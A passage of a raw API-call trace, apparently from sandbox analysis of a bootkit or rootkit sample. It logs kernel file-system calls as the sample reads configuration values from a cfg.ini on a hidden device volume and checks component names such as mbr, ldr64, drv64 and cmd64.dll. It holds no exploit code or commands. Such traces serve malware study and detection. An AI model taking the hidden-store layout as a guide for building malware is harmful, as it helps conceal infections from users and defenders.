MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.860] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.860] IdePortDispatch () returned 0x103 [0125.860] KeWaitForMutexObject () returned 0x0 [0125.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.860] KeLeaveCriticalRegion () [0125.860] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.860] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.860] KeEnterCriticalRegion () [0125.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0e000 [0125.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.860] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.860] IdePortDispatch () returned 0x103 [0125.860] KeWaitForMutexObject () returned 0x0 [0125.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.860] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.860] IdePortDispatch () returned 0x103 [0125.860] KeWaitForMutexObject () returned 0x0 [0125.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.861] KeLeaveCriticalRegion () [0125.861] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.861] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.861] KeEnterCriticalRegion () [0125.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.861] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.861] KeLeaveCriticalRegion () [0125.861] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.861] KeEnterCriticalRegion () [0125.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.861] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.861] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.861] KeLeaveCriticalRegion () [0125.861] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.861] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.861] KeEnterCriticalRegion () [0125.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.861] ExFreePoolWithTag (P=0xfffffa8003bf91d0, Tag=0x0) [0125.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.861] KeLeaveCriticalRegion () [0125.861] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.861] ReleaseMutex (hMutex=0xf0) returned 1 [0125.862] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.862] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.862] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.862] KeEnterCriticalRegion () [0125.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.862] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.862] IdePortDispatch () returned 0x103 [0125.862] KeWaitForMutexObject () returned 0x0 [0125.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.862] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.862] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.862] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.862] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.862] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfab80 [0125.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.862] KeLeaveCriticalRegion () [0125.862] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.862] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.862] KeEnterCriticalRegion () [0125.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.862] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.862] KeLeaveCriticalRegion () [0125.862] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.862] KeEnterCriticalRegion () [0125.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.862] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.862] IdePortDispatch () returned 0x103 [0125.862] KeWaitForMutexObject () returned 0x0 [0125.863] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.863] KeLeaveCriticalRegion () [0125.863] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.863] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.863] KeEnterCriticalRegion () [0125.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.863] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0f000 [0125.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.863] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.863] IdePortDispatch () returned 0x103 [0125.863] KeWaitForMutexObject () returned 0x0 [0125.863] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.863] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.863] IdePortDispatch () returned 0x103 [0125.863] KeWaitForMutexObject () returned 0x0 [0125.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.863] KeLeaveCriticalRegion () [0125.863] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.864] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.864] KeEnterCriticalRegion () [0125.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.864] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.864] KeLeaveCriticalRegion () [0125.864] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.864] KeEnterCriticalRegion () [0125.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.864] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.864] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.864] KeLeaveCriticalRegion () [0125.864] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.864] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.864] KeEnterCriticalRegion () [0125.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.864] ExFreePoolWithTag (P=0xfffffa8003bfab80, Tag=0x0) [0125.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.864] KeLeaveCriticalRegion () [0125.864] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.864] ReleaseMutex (hMutex=0xf0) returned 1 [0125.864] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.864] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.864] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.864] KeEnterCriticalRegion () [0125.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.865] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.865] IdePortDispatch () returned 0x103 [0125.865] KeWaitForMutexObject () returned 0x0 [0125.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.865] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.865] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.865] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.865] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.865] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4a80 [0125.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.865] KeLeaveCriticalRegion () [0125.865] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.865] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.865] KeEnterCriticalRegion () [0125.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.865] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.866] KeLeaveCriticalRegion () [0125.866] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.866] KeEnterCriticalRegion () [0125.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.866] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.866] IdePortDispatch () returned 0x103 [0125.866] KeWaitForMutexObject () returned 0x0 [0125.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.866] KeLeaveCriticalRegion () [0125.866] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.866] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.866] KeEnterCriticalRegion () [0125.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.866] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d10000 [0125.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.866] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.866] IdePortDispatch () returned 0x103 [0125.866] KeWaitForMutexObject () returned 0x0 [0125.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.866] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.867] IdePortDispatch () returned 0x103 [0125.867] KeWaitForMutexObject () returned 0x0 [0125.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.867] KeLeaveCriticalRegion () [0125.867] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.867] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.867] KeEnterCriticalRegion () [0125.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.867] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.867] KeLeaveCriticalRegion () [0125.867] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.867] KeEnterCriticalRegion () [0125.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.867] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.867] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa8f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.867] KeLeaveCriticalRegion () [0125.867] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.867] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.868] KeEnterCriticalRegion () [0125.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.868] ExFreePoolWithTag (P=0xfffffa8003bf4a80, Tag=0x0) [0125.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.868] KeLeaveCriticalRegion () [0125.868] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.868] ReleaseMutex (hMutex=0xf0) returned 1 [0125.868] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.868] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.868] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.868] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.868] KeEnterCriticalRegion () [0125.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.868] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.868] IdePortDispatch () returned 0x103 [0125.868] KeWaitForMutexObject () returned 0x0 [0125.868] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.868] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.868] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.868] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.868] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.868] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.868] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.868] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.868] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.868] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.868] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.868] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.868] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.868] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.869] KeLeaveCriticalRegion () [0125.869] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.869] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.869] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.869] KeEnterCriticalRegion () [0125.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.869] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.869] IdePortDispatch () returned 0x103 [0125.869] KeWaitForMutexObject () returned 0x0 [0125.869] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.869] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.869] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.869] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.869] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.869] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.869] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.869] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.869] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.869] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.869] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.869] KeLeaveCriticalRegion () [0125.869] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.869] ReleaseMutex (hMutex=0x100) returned 1 [0125.869] Sleep (dwMilliseconds=0x2bf20) [0125.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e394eb0, dwHighDateTime=0x1d24fa4)) [0125.876] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.876] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 